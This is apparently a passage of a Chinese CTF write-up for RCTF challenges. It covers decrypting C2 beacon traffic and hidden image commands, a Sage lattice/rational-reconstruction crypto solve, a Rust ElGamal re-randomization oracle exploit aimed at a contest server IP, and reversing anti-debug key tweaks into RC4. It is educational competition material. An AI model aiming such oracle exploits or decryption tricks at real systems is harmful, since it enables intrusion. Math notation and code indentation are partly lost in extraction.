aesKey_b64 = "WzUsMTM5LDI0NSwyMjAsMjMxLDQ2LDIzNCwxNDYsMjQ4LDIxMSwyLDIxMywyLDE2NSw5OCwxMTgsMTAzLDE2MiwzLDE1MCw0LDUzLDE3OSwxOTQsODQsMjA3LDQ1LDI0NSw4OCwxNzksMTkzLDEwMV0="
aesIV_b64 = "WzEyNCwyMzIsMjU0LDE5LDI1MCw0OSw1MCw4MywyMjksMjQ0LDI4LDIyMiw4MywzMywyMDIsNl0="
data_b64 = "N2M3N2ZlN2ExYTdhZGMxY2E3MmZhMzY4MzgxMjUxMjQ5ZDZlYjAwNDQwZWJhYmQ2ZDc4MTVkMjE2OTVmMjAwNzRkY2JmYjgwYmExZTVjMjc5ZWY1NzZhNTQxMTU2YTQxZGI0NjQ3MGNlYTIzMDVkOTFlNDcxN2MyMTljNGQwNWJhYjRlMGQ5Zjg1MTA5MDNmZGQyNTM1M2ZjODI5NmY3MjgxYTEyODNkODIzMDQ1Y2NkYTI4MDI3OTc2NTljNzUzNzI0M2U0MmRhMTQ4MGY4ZDg0ZWQ2YTRjMDA1MjUyNWRjYWIwMDk2M2MyODA1MGJmNTEzNjA2NzNhODdiOTNiZDg1NTNkNWU3NDMzMjk3YmRkNTRiOTQyMjJjZDUzMzg3NzIwMmYwNTU0MDNiMjRlODU5NzkwY2Q5MzliYTZjNGVmMDNjMTkzYTU0Zjc3NTUyY2MyYzJhOThlMmI3NDhmZWViZGY0ZDc5YTM5YzBkZGFlZjUyMzVmZjY4YWYxM2Y0NjFiYTkzMTAwMjhhODY3NWEzOGNiNGU3MTc0YmY1Y2QwYzY4YzdiOGE5NjczMGNlMTEyMGJjNWRjNWQ3ZDNiNGY0NTkxMzc1MGRiNzJiZjQ3NzU5YWQwNGRiOWQxYTBlYjlhMzRmOGZlNDZmMDM5OGI1YWI5YWMzMDBiZTlkNmU1MTA4ZTM1ZWQ2YTRiYTA1MTJmNjJkMjM1YTc1YzQyMTc2MGFkOWNlZWU3YWYyYjM4OTk1MjYxZGJkY2E1NDZk=="
data_hex = base64.b64decode(data_b64).decode()
# 1. Base64 decode
key_list = json.loads(base64.b64decode(aesKey_b64).decode())
iv_list = json.loads(base64.b64decode(aesIV_b64).decode())
# 2. Convert to bytes
key_bytes = bytes(key_list)
iv_bytes = bytes(iv_list)
# 3. data hex → bytes
cipher_bytes = bytes.fromhex(data_hex)
# 4. AES-CBC decrypt
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
plaintext = cipher.decrypt(cipher_bytes)
# 5. remove PKCS7 padding
pad = plaintext[-1]
plaintext = plaintext[:-pad]
print(plaintext.decode(errors="ignore"))

第一问结果

解上线请求得第二问结果


第三问这里说命令隐藏在图像中

而且流量包里面频繁请求了logo.png,导出来看一下发现的确有base64在里面

得到第三问答案

第四问

第五问结果
RCTF{they always say Raven is inauspicious}

五问回答之后就得到flag了。

Crypto
suanp01y
加密流程:
环:
,其中 多项式生成:随机生成两个 41-稀疏、次数
的多项式 平移变换:
, ( 为随机平移量) 输出内容:
(环内除法)
然后就是AES的CTR模式加密
将 hint写成代数形式:
记
真正短的有理分式是
- 均为 41-稀疏多项式
对每个
此时:
当
有理重构恢复
每次计算
EXP:
from sage.all import *
from Crypto.Cipher import AES
from hashlib import md5
r, d = 16381, 41
R.<x> = GF(2)[]
S.<X> = R.quotient(x^r - 1)
M = x^r - 1
BMAX = r//3
nonce = b"suanp01y"
line1, line2 = open("output.txt","r").read().splitlines()
Hstr = line1.split("=",1)[1].strip()
H = S(Hstr)
ct = bytes.fromhex(line2.strip())
def wt_R(poly_R):
return sum(int(c) for c in poly_R.list())
def eea_ratrec(F_R, M_R, B):
r0, r1 = M_R, F_R
s0, s1 = R(1), R(0)
t0, t1 = R(0), R(1)
def try_pair(A, B):
if A and B and A.degree() <= BMAX and B.degree() <= BMAX:
A, B = A.monic(), B.monic()
if ((F_R*B - A) % M_R) == 0:
return A, B
return None
cand = try_pair(r1, t1)
if cand: return cand
while r1 != 0:
q, r2 = r0.quo_rem(r1)
r0, r1 = r1, r2
s0, s1 = s1, s0 - q*s1
t0, t1 = t1, t0 - q*t1
cand = try_pair(r0, t0)
if cand: return cand
cand = try_pair(r1, t1)
if cand: return cand
raise RuntimeError("no bounded solution")
t0_R = t1_R = None
good_delta = None
for delta in range(r):
H_delta = S(X^delta) * H
F_delta = H_delta.lift()
try:
A, B = eea_ratrec(F_delta, M, BMAX)
except RuntimeError:
continue
if wt_R(B) == d or wt_R(A) == d:
t0_R, t1_R = (B, A) if wt_R(B) == d else (A, B)
good_delta = delta
print(f"[+] 找到可重构的 δ = {delta} ,wt(t0)={wt_R(t0_R)}, wt(t1)={wt_R(t1_R)}")
break
if t0_R is None:
raise SystemExit("[-] 遍历 δ 未能重构到 41-稀疏分母")
def decrypt_try(h0_S):
key = md5(str(h0_S).encode()).digest()
return AES.new(key=key, nonce=nonce, mode=AES.MODE_CTR).decrypt(ct)
t0_S = S(t0_R)
flag = None
for k in range(r):
h0 = S(X^k) * t0_S
pt = decrypt_try(h0)
if pt.startswith(b"RCTF{") and pt.rstrip().endswith(b"}") and all(32 <= b <= 126 for b in pt):
flag = pt.decode()
print("[+] FOUND flag:", flag)
break
"""
[+] 找到可重构的 δ = 12921 ,wt(t0)=41, wt(t1)=41
[+] FOUND flag: RCTF{i_just_h0pe_ChatGPT_doesnt_inst@ntly_so1ve_thi5_one.}
"""
ReParing
题目基于 BLS12-381 配对的加密系统,服务端通过 Rust + arkworks 实现
这是一个 ElGamal 结构,可以被重随机化,而题目又给了我们一个“解密后 KDF(key) 的 oracle”。
我们选任意
原来随机数是
现在变成
对
写成
代入:
再用
于是:
对任意
而在交互协议里,只要
得到hex(KDF(S))直接和encrypted_flag异或即可
exp:
文件结构
exp/
├── Cargo.toml
└── src/
└── main.rs
Cargo.toml:
[package]
name = "exp"
version = "0.1.0"
edition = "2024"
[dependencies]
ark-bls12-381 = "0.5"
ark-ec = "0.5"
ark-ff = "0.5"
ark-serialize = "0.5"
hex = "0.4"
src/main.rs:
我们沿用题目的序列化规则即可
use std::io::{Read, Write};
use std::net::TcpStream;
use ark_bls12_381::{Bls12_381, Fr, G1Affine, G1Projective, G2Affine, G2Projective};
use ark_ec::{pairing::Pairing, CurveGroup, PrimeGroup};
use ark_ff::{PrimeField, Field};
use ark_serialize::{CanonicalDeserialize, CanonicalSerialize};
type GT = <Bls12_381 as Pairing>::TargetField;
fn parse_g1_hex(s: &str) -> G1Projective {
let b = hex::decode(s).expect("bad hex g1");
let a = G1Affine::deserialize_compressed(&*b).expect("bad g1");
G1Projective::from(a)
}
fn parse_g2_hex(s: &str) -> G2Projective {
let b = hex::decode(s).expect("bad hex g2");
let a = G2Affine::deserialize_compressed(&*b).expect("bad g2");
G2Projective::from(a)
}
fn parse_gt_hex(s: &str) -> GT {
let b = hex::decode(s).expect("bad hex gt");
GT::deserialize_compressed(&*b).expect("bad gt")
}
fn hex_g1(p: &G1Projective) -> String {
let a: G1Affine = (*p).into_affine();
let mut v = Vec::new();
a.serialize_compressed(&mut v).unwrap();
hex::encode(v)
}
fn hex_g2(p: &G2Projective) -> String {
let a: G2Affine = (*p).into_affine();
let mut v = Vec::new();
a.serialize_compressed(&mut v).unwrap();
hex::encode(v)
}
fn hex_gt(x: >) -> String {
let mut v = Vec::new();
x.serialize_compressed(&mut v).unwrap();
hex::encode(v)
}
fn xor_in_place(a: &mut [u8], b: &[u8]) {
for (x, y) in a.iter_mut().zip(b.iter()) {
*x ^= *y;
}
}
fn main() -> std::io::Result<()> {
// 连接远端
let host = std::env::args().nth(1).unwrap_or_else(|| "1.14.196.78:42601".to_string());
let mut sock = TcpStream::connect(host)?;
// 读首行 banner
let mut line = String::new();
let mut buf = [0u8; 4096];
// 读到换行即可
loop {
let n = sock.read(&mut buf)?;
if n == 0 { break; }
line.push_str(&String::from_utf8_lossy(&buf[..n]));
if line.contains('\n') { break; }
}
let line = line.lines().next().unwrap().trim().to_string();
// 拆分 8 段: id|dst|pk|q|c1|c2|c3|enc_flag
let mut it = line.split('|');
let _id_hex = it.next().expect("id");
let _dst_hex = it.next().expect("dst");
let pk_hex = it.next().expect("pk");
let q_hex = it.next().expect("q");
let c1_hex = it.next().expect("c1");
let c2_hex = it.next().expect("c2");
let c3_hex = it.next().expect("c3");
let enc_hex = it.next().expect("enc");
assert!(it.next().is_none(), "more parts than expected");
// 反序列化
let pk: GT = parse_gt_hex(pk_hex);
let q: G2Projective = parse_g2_hex(q_hex);
let c1: GT = parse_gt_hex(c1_hex);
let c2: G1Projective = parse_g1_hex(c2_hex);
let c3: G2Projective = parse_g2_hex(c3_hex);
let mut enc = hex::decode(enc_hex).expect("bad enc hex");
let mut delta_u64: u64 = 1;
let key_hex = loop {
let delta = Fr::from(delta_u64);
let c1p = c1 * pk.pow(delta.into_bigint());
let c2p = c2 + G1Projective::generator() * delta;
let c3p = c3 + q * delta;
let out = format!(
"{}|{}|{}\n",
hex_gt(&c1p),
hex_g1(&c2p),
hex_g2(&c3p),
);
sock.write_all(out.as_bytes())?;
let mut resp = String::new();
sock.read_to_string(&mut resp)?;
let resp = resp.trim();
if resp == "bad" || resp == "no" {
delta_u64 += 1;
continue;
} else {
break resp.to_string();
}
};
let key = hex::decode(key_hex).expect("bad key hex");
let enc_len = enc.len();
assert!(key.len() >= enc_len);
xor_in_place(&mut enc, &key[..enc_len]);
println!("{}", String::from_utf8_lossy(&enc));
Ok(())
}
在exp目录下运行cargo run –release
C:\Users\28421\Desktop\exp>cargo run --release
Compiling exp v0.1.0 (C:\Users\28421\Desktop\exp)
Finished `release` profile [optimized] target(s) in 1.65s
Running `target\release\exp.exe`
RCTF{ElGamal-style_re-randomization_attack_still_break_modern_schemes_7ec932b22988}
Reverse
Chaos
签到题,双击exe得到flag
He said that if all the key modifications involved in anti-debugging are identified, the flag can be retrieved.
your flag is RCTF{AntiDbg_KeyM0d_2025_R3v3rs3}程序执行完毕,按下任意键退出...
Chaos2
这个题就是用一个被反调试代码动态改动过的 key 做 RC4 解密,把 main 里那 0x80 个字节解出来,得到真正的 flag
主逻辑在 loc_40151D 这一块:
.text:0040151D loc_40151D:
.text:0040151D mov ebx, 22222222h
.text:00401522 mov eax, dword_404018
.text:00401527 mov [ebp-88h], eax
.text:0040152D push 0
.text:0040152F push 0
.text:00401531 push offset sub_401130 ; 回调
.text:00401536 call ds:EnumUILanguagesA
.text:0040153C mov [ebp-194h], eax
.text:00401542 mov ecx, dword_40440C ; key 指针放到 [ebp-190h]
.text:00401548 mov [ebp-190h], ecx
sub_401130 是 EnumUILanguagesA 的回调,里面就是反调试 + key 修改。
密文写入栈,地址从 [ebp-84h] 到 [ebp-5],一共 0x80 字节:
.text:0040154E mov byte ptr [ebp-84h], 0Fh
.text:00401555 mov byte ptr [ebp-83h], 1Ah
.text:0040155C mov byte ptr [ebp-82h], 8Ah
.text:00401563 mov byte ptr [ebp-81h], 5Ah ; 'Z'
.text:0040156A mov byte ptr [ebp-80h], 22h ; '"'
.text:0040156E mov byte ptr [ebp-7Fh], 0ABh
.text:00401572 mov byte ptr [ebp-7Eh], 1Eh
.text:00401576 mov byte ptr [ebp-7Dh], 63h ; 'c'
.text:0040157A mov byte ptr [ebp-7Ch], 19h
.text:0040157E mov byte ptr [ebp-7Bh], 5Ah ; 'Z'
.text:00401582 mov byte ptr [ebp-7Ah], 87h
.text:00401586 mov byte ptr [ebp-79h], 0F2h
.text:0040158A mov byte ptr [ebp-78h], 0E6h
.text:0040158E mov byte ptr [ebp-77h], 0E9h
.text:00401592 mov byte ptr [ebp-76h], 0D7h
.text:00401596 mov byte ptr [ebp-75h], 0D1h
.text:0040159A mov byte ptr [ebp-74h], 97h
.text:0040159E mov byte ptr [ebp-73h], 0F9h
.text:004015A2 mov byte ptr [ebp-72h], 0F8h
.text:004015A6 mov byte ptr [ebp-71h], 32h ; '2'
.text:004015AA mov byte ptr [ebp-70h], 5Bh ; '['
.text:004015AE mov byte ptr [ebp-6Fh], 0DEh
.text:004015B2 mov byte ptr [ebp-6Eh], 2Dh ; '-'
.text:004015B6 mov byte ptr [ebp-6Dh], 0D6h
.text:004015BA mov byte ptr [ebp-6Ch], 0A3h
.text:004015BE mov byte ptr [ebp-6Bh], 4Fh ; 'O'
.text:004015C2 mov byte ptr [ebp-6Ah], 7Eh ; '~'
.text:004015C6 mov byte ptr [ebp-69h], 0CBh
.text:004015CA mov byte ptr [ebp-68h], 61h ; 'a'
.text:004015CE mov byte ptr [ebp-67h], 0B2h
.text:004015D2 mov byte ptr [ebp-66h], 3Fh ; '?'
.text:004015D6 mov byte ptr [ebp-65h], 0BFh
.text:004015DA mov byte ptr [ebp-64h], 0B7h
.text:004015DE mov byte ptr [ebp-63h], 1Bh
.text:004015E2 mov byte ptr [ebp-62h], 0Ah
.text:004015E6 mov byte ptr [ebp-61h], 84h
.text:004015EA mov byte ptr [ebp-60h], 0B3h
.text:004015EE mov byte ptr [ebp-5Fh], 0B4h
.text:004015F2 mov byte ptr [ebp-5Eh], 0DEh
.text:004015F6 mov byte ptr [ebp-5Dh], 3
.text:004015FA mov byte ptr [ebp-5Ch], 46h ; 'F'
.text:004015FE mov byte ptr [ebp-5Bh], 7Bh ; '{'
.text:00401602 mov byte ptr [ebp-5Ah], 83h
.text:00401606 mov byte ptr [ebp-59h], 0F0h
.text:0040160A mov byte ptr [ebp-58h], 0C4h
.text:0040160E mov byte ptr [ebp-57h], 0B3h
.text:00401612 mov byte ptr [ebp-56h], 0ABh
.text:00401616 mov byte ptr [ebp-55h], 7Bh ; '{'
.text:0040161A mov byte ptr [ebp-54h], 29h ; ')'
.text:0040161E mov byte ptr [ebp-53h], 0BCh
.text:00401622 mov byte ptr [ebp-52h], 1Fh
.text:00401626 mov byte ptr [ebp-51h], 0FEh
.text:0040162A mov byte ptr [ebp-50h], 8Ah
.text:0040162E mov byte ptr [ebp-4Fh], 79h ; 'y'
.text:00401632 mov byte ptr [ebp-4Eh], 26h ; '&'
.text:00401636 mov byte ptr [ebp-4Dh], 0DAh
.text:0040163A mov byte ptr [ebp-4Ch], 8
.text:0040163E mov byte ptr [ebp-4Bh], 1
.text:00401642 mov byte ptr [ebp-4Ah], 85h
.text:00401646 mov byte ptr [ebp-49h], 66h ; 'f'
.text:0040164A mov byte ptr [ebp-48h], 7Dh ; '}'
.text:0040164E mov byte ptr [ebp-47h], 0BBh
.text:00401652 mov byte ptr [ebp-46h], 0EEh
.text:00401656 mov byte ptr [ebp-45h], 0Fh
.text:0040165A mov byte ptr [ebp-44h], 89h
.text:0040165E mov byte ptr [ebp-43h], 59h ; 'Y'
.text:00401662 mov byte ptr [ebp-42h], 0D4h
.text:00401666 mov byte ptr [ebp-41h], 5Fh ; '_'
.text:0040166A mov byte ptr [ebp-40h], 0ACh
.text:0040166E mov byte ptr [ebp-3Fh], 18h
.text:00401672 mov byte ptr [ebp-3Eh], 0AEh
.text:00401676 mov byte ptr [ebp-3Dh], 0Bh
.text:0040167A mov byte ptr [ebp-3Ch], 4Eh ; 'N'
.text:0040167E mov byte ptr [ebp-3Bh], 0F0h
.text:00401682 mov byte ptr [ebp-3Ah], 0B7h
.text:00401686 mov byte ptr [ebp-39h], 5
.text:0040168A mov byte ptr [ebp-38h], 5Ch ; '\'
.text:0040168E mov byte ptr [ebp-37h], 81h
.text:00401692 mov byte ptr [ebp-36h], 4
.text:00401696 mov byte ptr [ebp-35h], 9Fh
.text:0040169A mov byte ptr [ebp-34h], 0A4h
.text:0040169E mov byte ptr [ebp-33h], 1Ch
.text:004016A2 mov byte ptr [ebp-32h], 5Dh ; ']'
.text:004016A6 mov byte ptr [ebp-31h], 0A0h
.text:004016AA mov byte ptr [ebp-30h], 0B9h
.text:004016AE mov byte ptr [ebp-2Fh], 7
.text:004016B2 mov byte ptr [ebp-2Eh], 92h
.text:004016B6 mov byte ptr [ebp-2Dh], 5Ch ; '\'
.text:004016BA mov byte ptr [ebp-2Ch], 8Ah
.text:004016BE mov byte ptr [ebp-2Bh], 53h ; 'S'
最后是 RC4 的逻辑:
.text:0040175A push 80h ; key 长度 0x80
.text:0040175F mov edx, [ebp-190h] ; key 指针 = dword_40440C
.text:00401765 push edx
.text:00401766 lea eax, [ebp-18Ch] ; RC4 state
.text:0040176C push eax
.text:0040176D call sub_4017D0 ; RC4 KSA
.text:00401772 add esp, 0Ch
.text:00401775 push 80h
.text:0040177A lea ecx, [ebp-84h] ; 密文缓冲
.text:00401780 push ecx
.text:00401781 lea edx, [ebp-18Ch] ; RC4 state
.text:00401787 push edx
.text:00401788 call sub_4018A0 ; RC4 PRGA + XOR
.text:0040178D add esp, 0Ch
.text:00401790 lea eax, [ebp-84h]
.text:00401796 push eax
.text:00401797 push offset aYourFlagIsS ; "your flag is %s"
.text:0040179C call sub_401050
所以flag 就是 RC4 解密后的 [ebp-84h] 那 0x80 字节字符串。
在data段找到关键的fake_key:
.data:0040400B db 0FFh
.data:0040400C dword_40400C dd 1 ; DATA XREF: sub_40206D+2↑r
.data:00404010 dword_404010 dd 1 ; DATA XREF: sub_4022F5+D↑w
.data:00404010 ; sub_4022F5:loc_402409↑r ...
.data:00404014 dword_404014 dd 1 ; DATA XREF: sub_4024C6+2↑r
.data:00404018 dword_404018 dd 12345678h ; DATA XREF: .text:00401522↑r
.data:0040401C aFlagTh1sflagls db 'flag:{Th1sflaglsG00ds}',0
.data:00404033 db 0
.data:00404034 db 0
.data:00404035 db 0
.data:00404036 db 0
.data:00404037 db 0
.data:00404038 db 0
但不是真正的key。
sub_401440函数:
.text:00401440 sub_401440 proc near ; CODE XREF: .text:004010F1↑p
...
.text:0040144D push 0 ; lpModuleName = NULL
.text:0040144F call ds:GetModuleHandleA
.text:00401455 mov [ebp+var_8], eax ; 模块基址
.text:00401458 mov [ebp+var_4], 0
.text:0040145F jmp short loc_40146A
.text:00401461 loc_401461:
.text:00401461 mov eax, [ebp+var_4]
.text:00401464 add eax, 1
.text:00401467 mov [ebp+var_4], eax
.text:0040146A loc_40146A:
.text:0040146A cmp [ebp+var_4], 10000h
.text:00401471 jnb short loc_4014AA
.text:00401473 mov ecx, [ebp+var_8]
.text:00401476 add ecx, [ebp+var_4]
.text:00401479 mov edx, [ecx] ; 取一个 dword
.text:0040147B mov [ebp+var_C], edx
.text:0040147E cmp [ebp+var_C], 12345678h
.text:00401485 jnz short loc_4014A8
.text:00401487 mov eax, [ebp+var_8]
.text:0040148A add eax, [ebp+var_4]
.text:0040148D movsx ecx, byte ptr [eax+4]
.text:00401491 cmp ecx, 75h ; 'u'
.text:00401494 jz short loc_4014A8
.text:00401496 mov edx, [ebp+var_4]
.text:00401499 mov eax, [ebp+var_8]
.text:0040149C lea ecx, [eax+edx+4]
.text:004014A0 mov dword_40440C, ecx ; 保存指针
.text:004014A6 jmp short loc_4014AA
.text:004014AA loc_4014AA:
.text:004014AA mov eax, dword_40440C
.text:004014AF mov esp, ebp
.text:004014B1 pop ebp
.text:004014B2 retn
.text:0040147E cmp [ebp+var_C], 12345678h
所以dword_40440C指向flag:{Th1sflaglsG00ds} 的起始地址。
第一次反调试
loc_4010DA:
.text:004010DA loc_4010DA:
.text:004010DA mov ebx, 22222222h
.text:004010DF mov byte ptr [ebp-5], 1
.text:004010E3 push eax
.text:004010E4 mov eax, large fs:30h ; PEB
.text:004010EA mov al, [eax+2] ; BeingDebugged
.text:004010ED mov [ebp-5], al
.text:004010F0 pop eax
.text:004010F1 call sub_401440 ; 设置 dword_40440C
.text:004010F6 mov dword_404408, 8
.text:00401100 movzx eax, byte ptr [ebp-5]
.text:00401104 test eax, eax
.text:00401106 jz short loc_40110A ; 未调试 -> 改 key
.text:00401108 jmp short loc_401119
.text:0040110A loc_40110A:
.text:0040110A mov ecx, dword_40440C
.text:00401110 add ecx, dword_404408 ; +8
.text:00401116 mov byte ptr [ecx], 69h ; 'i'
如果 没有被调试 (BeingDebugged == 0),会跳到 loc_40110A,把 (dword_40440C + 8)改成 i。
初始 key 第 8 个字节是 1,所以这里实际上把 Th1s 改成 This
第二次反调试
这一段在 sub_401130 里,通过 NtQueryInformationProcess(info class = 7)查 debug object handle
loc_40124A:
.text:0040124A loc_40124A:
.text:0040124A mov ebx, 22222222h
.text:0040124F call ds:GetCurrentProcess
.text:00401255 mov [ebp-10h], eax
.text:00401258 push 0
.text:0040125A push 4
.text:0040125C lea eax, [ebp-8] ; 输出句柄位置
.text:0040125F push eax
.text:00401260 push 7 ; ProcessInformationClass = 7
.text:00401262 mov ecx, [ebp-10h]
.text:00401265 push ecx ; ProcessHandle
.text:00401266 call dword ptr [ebp+8] ; NtQueryInformationProcess
.text:00401269 mov dword_404408, 0Eh
.text:00401273 cmp dword ptr [ebp-8], 0
.text:00401277 jz short loc_40127B ; ==0 则改 key
.text:00401279 jmp short loc_40128A
.text:0040127B loc_40127B:
.text:0040127B mov edx, dword_40440C
.text:00401281 add edx, dword_404408 ; +0x0E
.text:00401287 mov byte ptr [edx], 49h ; 'I'
DebugObjectHandle == 0:
就把 *(dword_40440C + 0x0E)改成 I
原始那里是 l,所以 flagls变成flagIs
第三次变换
这一段利用异常处理器修改 key
loc_40130D:
.text:0040130D loc_40130D:
.text:0040130D mov ebx, 22222222h
.text:00401312 push offset aNtdllDll_0 ; "Ntdll.dll"
.text:00401317 call ds:LoadLibraryW
.text:0040131D mov [ebp-24h], eax
.text:00401320 cmp dword ptr [ebp-24h], 0
.text:00401324 jnz short loc_401328
.text:00401326 jmp short loc_401383
.text:00401328 loc_401328:
.text:00401328 mov dword_404408, 11h
.text:00401332 push offset aNtclose ; "NtClose"
.text:00401337 mov eax, [ebp-24h]
.text:0040133A push eax
.text:0040133B call ds:GetProcAddress ; 取 NtClose 地址到 [ebp-28h]
.text:00401341 mov [ebp-28h], eax
.text:00401344 cmp dword ptr [ebp-28h], 0
.text:00401348 jnz short loc_40134C
.text:0040134A jmp short loc_401383
.text:0040134C loc_40134C:
.text:0040134C mov dword ptr [ebp-4], 0
.text:00401353 push 99999999h
.text:00401358 call dword ptr [ebp-28h] ; NtClose(0x99999999)
.text:0040135B mov dword ptr [ebp-4], 0FFFFFFFEh
.text:00401362 jmp short loc_401383
NtClose(0x99999999) 正常会触发异常,异常处理函数就是 sub_40136A:
.text:0040136A sub_40136A proc near ; SEH handler
.text:0040136A mov esp, [ebp-18h]
.text:0040136D mov ecx, dword_40440C
.text:00401373 add ecx, dword_404408 ; +0x11
.text:00401379 mov byte ptr [ecx], 6Fh ; 'o'
.text:0040137C mov dword ptr [ebp-4], 0FFFFFFFEh
SEH handler 执行时把 *(dword_40440C + 0x11) 改为 ‘o’
原本这里是 ‘0’,所以 G00ds 的第一个 0 被改成 ‘o’
第四次反调试
loc_4013EA:
.text:004013EA loc_4013EA:
.text:004013EA mov ebx, 22222222h
.text:004013EF call ds:GetCurrentProcess
.text:004013F5 mov [ebp-10h], eax
.text:004013F8 push 0
.text:004013FA push 4
.text:004013FC lea eax, [ebp-8]
.text:004013FF push eax
.text:00401400 push 1Fh ; info class = 0x1F (ProcessDebugFlags)
.text:00401402 mov ecx, [ebp-10h]
.text:00401405 push ecx
.text:00401406 call dword ptr [ebp+8] ; NtQueryInformationProcess
.text:00401409 mov dword_404408, 12h
.text:00401413 cmp dword ptr [ebp-8], 1
.text:00401417 jz short loc_40141B
.text:00401419 jmp short loc_40142A
.text:0040141B loc_40141B:
.text:0040141B mov edx, dword_40440C
.text:00401421 add edx, dword_404408 ; +0x12
.text:00401427 mov byte ptr [edx], 6Fh ; 'o'
如果ProcessDebugFlags == 1即未调试,把 *(dword_40440C + 0x12) 改为 ‘o’
所以,G00ds 的第二个 0 也被改成 ‘o’
最终的key:
flag:{ThisflagIsGoods}
RC4部分
初始化:sub_4017D0
push 80h ; key 长度 0x80
push [ebp-190h] ; key 指针 = dword_40440C
push &state
call sub_4017D0
后面补零到0x80字节
sub_4017D0是标准的RC4KSA
.text:004017D0 sub_4017D0 proc near
...
.text:004017E4 mov eax, [ebp+arg_0]
.text:004017E7 mov byte ptr [eax+101h], 0 ; j = 0
.text:004017EE mov ecx, [ebp+arg_0]
.text:004017F1 mov byte ptr [ecx+100h], 0 ; i = 0
.text:004017F8 mov [ebp+var_4], 0
.text:004017FF jmp short loc_40180A
.text:0040180A loc_40180A: ; 初始化 S[i] = i
.text:0040180A cmp [ebp+var_4], 100h
.text:00401811 jnb short loc_401820
.text:00401813 mov eax, [ebp+arg_0]
.text:00401816 add eax, [ebp+var_4]
.text:00401819 mov cl, byte ptr [ebp+var_4]
.text:0040181C mov [eax], cl
...
.text:00401820 loc_401820: ; KSA 主循环
.text:00401820 mov [ebp+var_4], 0
...
.text:00401832 loc_401832:
.text:00401832 cmp [ebp+var_4], 100h
.text:00401839 jnb short loc_40189A
.text:0040183B mov eax, [ebp+arg_0]
.text:0040183E add eax, [ebp+var_4]
.text:00401841 movzx ecx, byte ptr [eax]
.text:00401844 mov [ebp+var_10], ecx ; S[i]
.text:00401847 mov edx, [ebp+arg_4]
.text:0040184A add edx, [ebp+var_C] ; key[j]
.text:0040184D movzx eax, byte ptr [edx]
.text:00401850 add eax, [ebp+var_10]
.text:00401853 add eax, [ebp+var_8]
.text:00401856 mov [ebp+var_8], eax ; j += S[i] + key[i%keylen]
.text:00401859 mov ecx, [ebp+var_8]
.text:0040185C and ecx, 0FFh
.text:00401862 mov [ebp+var_8], ecx ; j &= 0xFF
...
; 然后交换 S[i], S[j]
sub_4018A0是 PRGA,输出密钥流并 XOR 数据
.text:004018A6 mov eax, [ebp+arg_0]
.text:004018A9 mov [ebp+var_4], eax ; S base
.text:004018AC mov ecx, [ebp+arg_0]
.text:004018AF movzx edx, byte ptr [ecx+100h]
.text:004018B6 mov [ebp+var_8], edx ; i
.text:004018B9 mov eax, [ebp+arg_0]
.text:004018BC movzx ecx, byte ptr [eax+101h]
.text:004018C3 mov [ebp+var_C], ecx ; j
...
.text:004018D5 cmp [ebp+var_18], 0
.text:004018D9 jz short loc_401955 ; 长度耗尽结束
.text:004018DB mov ecx, [ebp+var_8]
.text:004018DE add ecx, 1
.text:004018E1 and ecx, 0FFh
.text:004018E7 mov [ebp+var_8], ecx ; i = (i+1)&0xFF
.text:004018EA mov edx, [ebp+var_4]
.text:004018ED add edx, [ebp+var_8]
.text:004018F0 movzx eax, byte ptr [edx]
.text:004018F3 mov [ebp+var_10], eax ; S[i]
.text:004018F6 mov ecx, [ebp+var_C]
.text:004018F9 add ecx, [ebp+var_10]
.text:004018FC and ecx, 0FFh
.text:00401902 mov [ebp+var_C], ecx ; j = (j+S[i])&0xFF
...
; 交换 S[i], S[j],然后:
.text:00401927 mov edx, [ebp+var_10]
.text:0040192A add edx, [ebp+var_14]
.text:0040192D and edx, 0FFh
.text:00401933 mov eax, [ebp+var_4]
.text:00401936 movzx ecx, byte ptr [eax+edx] ; S[(S[i]+S[j])&0xFF]
.text:0040193A mov edx, [ebp+arg_4]
.text:0040193D movzx eax, byte ptr [edx]
.text:00401940 xor eax, ecx ; data ^= K
.text:00401942 mov ecx, [ebp+arg_4]
.text:00401945 mov [ecx], al
.text:00401947 mov edx, [ebp+arg_4]
.text:0040194A add edx, 1
.text:0040194D mov [ebp+arg_4], edx ; data++
.text:00401950 jmp loc_4018C6 ; 继续下一个字节
最终exp:
key_str = b"flag:{ThisflagIsGoods}"
KEY_LEN = 0x80
key = bytearray(key_str + b"\x00" * (KEY_LEN - len(key_str)))
cipher = bytes([
0x0f, 0x1a, 0x8a, 0x5a, 0x22, 0xab, 0x1e, 0x63,
0x19, 0x5a, 0x87, 0xf2, 0xe6, 0xe9, 0xd7, 0xd1,
0x97, 0xf9, 0xf8, 0x32, 0x5b, 0xde, 0x2d, 0xd6,
0xa3, 0x4f, 0x7e, 0xcb, 0x61, 0xb2, 0x3f, 0xbf,
0xb7, 0x1b, 0x0a, 0x84, 0xb3, 0xb4, 0xde, 0x03,
0x46, 0x7b, 0x83, 0x2a, 0x51, 0x73, 0xe0, 0x7c,
0x93, 0x27, 0x44, 0x9c, 0x56, 0x8f, 0x75, 0xfa,
0xa0, 0x79, 0x26, 0xda, 0x08, 0x01, 0x85, 0x66,
0x7d, 0xbb, 0xee, 0x0f, 0x89, 0x59, 0xd4, 0x5f,
0xac, 0x18, 0xae, 0x0b, 0x4e, 0xf0, 0xb7, 0xdd,
0xdd, 0x55, 0x4b, 0xea, 0x07, 0x92, 0x5c, 0x8a,
0x53, 0xf3, 0xff, 0xf7, 0xa7, 0xdd, 0x2e, 0xe6,
0xed, 0x0f, 0x77, 0x2c, 0x4a, 0x22, 0xf1, 0x36,
0x4f, 0xa7, 0x55, 0x5e, 0x3e, 0x93, 0xa4, 0x34,
0x29, 0x67, 0xfc, 0x23, 0x79, 0x19, 0xd8, 0xc9,
0x2b, 0xcf,
])
def rc4_ksa(key_bytes):
S = list(range(256))
j = 0
keylen = len(key_bytes)
for i in range(256):
j = (j + S[i] + key_bytes[i % keylen]) & 0xFF
S[i], S[j] = S[j], S[i]
return S
def rc4_prga(S, data):
i = j = 0
out = bytearray()
for b in data:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) & 0xFF]
out.append(b ^ k)
return bytes(out)
S = rc4_ksa(key)
plain = rc4_prga(S, cipher)
print(plain)
"""
